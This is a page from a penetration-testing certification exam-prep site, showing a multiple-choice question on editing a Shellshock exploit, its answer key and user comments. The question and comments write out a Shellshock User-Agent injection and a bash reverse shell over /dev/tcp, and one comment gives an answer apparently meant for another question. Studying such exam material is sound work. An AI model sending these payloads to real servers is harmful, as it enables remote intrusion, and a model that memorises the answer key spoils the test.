Exam PT0-002 All QuestionsBrowse all questions from this exam
Question 52

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploit = {`User-Agent`: `() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/html,application/ xhtml+xml,application/xml`}

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

    Correct Answer: A

    To determine the user context in which the server is being run, you need to execute commands that provide information about the current user. The command 'id;whoami' achieves this by returning the user ID and the username. Thus, the appropriate edit to the script includes this command within the User-Agent value.

Discussion
RRabbitOption: A

A. exploit = {User-Agent: () { ignored;};/bin/bash -i id;whoami, Accept: text/html,application/xhtml +xml,application/xml} The code in the script is creating a dictionary object called exploit which contains a key-value pair for the User-Agent and Accept headers. The value of the User-Agent key is a command that will execute a shell command to create a reverse shell and redirect its input and output to a specified IP and port. To determine the user context in which the server is being run, the tester should replace the command in the User-Agent value with 'id;whoami' which will execute a shell command to show the current user and group name of the process. Option B is trying to find all files with the SUID bit set, which is not related to determining the user context in which the server is being run. Option C is executing 'ps -ef' command which shows all running processes but not the user context. Option D is trying to connect to the same IP and port, which is not related to determining the user context in which the server is being run.

Meep123

Yes, I will have your children.

ryanzouOption: A

A is correct

rangertauOption: A

User context, i.e. who am i?

Codyjs54Option: A

A is correct

Etc_Shadow28000Option: A

A. The other options do not directly address the need to determine the user context: • B: find / -perm -4000 lists files with the setuid bit set, which is useful for privilege escalation but does not determine the user context. • C: ps -ef lists all processes, which can be useful for understanding the system state but does not determine the user context. • D: Redirecting output to /dev/tcp/10.10.1.1/80 is for creating a reverse shell, but it does not provide the specific information about the user context. Thus, option A is the best choice for determining the user context in which the server is being run.

[Removed]Option: A

Which of the following edits should the tester make to the script to determine the USER context in which the server is being run? Trying to find user. Answer choice A "whoami".

Kirby87Option: A

To determine the user context in which the server is being run, the tester can modify the script to include a command that retrieves information about the user. The correct option would be: A. exploit = {'User-Agent': '() { ignored;};/bin/bash -i id;whoami', 'Accept': 'text/html,application/xhtml+xml,application/xml'} This modification includes the id;whoami command after the /bin/bash -i part. This command will provide information about the user's identity when the exploit is executed on the vulnerable web server.

nickwen007Option: A

The edit that the tester should make to the script to determine the user context in which the server is being run is A. exploit = {`User-Agent`: `() { ignored;};/bin/bash -i id;whoami`, `Accept`: `text/html,application/xhtml+xml,application/xml`}. This edit will execute the "whoami" command, which will show the user context in which the server is being run.

nickwen007Option: D

The technique that would best accomplish this goal is D. Tag nesting. Tag nesting involves using multiple tags to gain access to a system or network, which can be used by the penetration tester to send traffic to a remote system without being detected.

OnA_Mule

While your answer may be correct, it's not the answer for this question, lol. Guessing this was meant for Q51

kloug

aaaaaaa

RightAsTain

Could someone explain this one?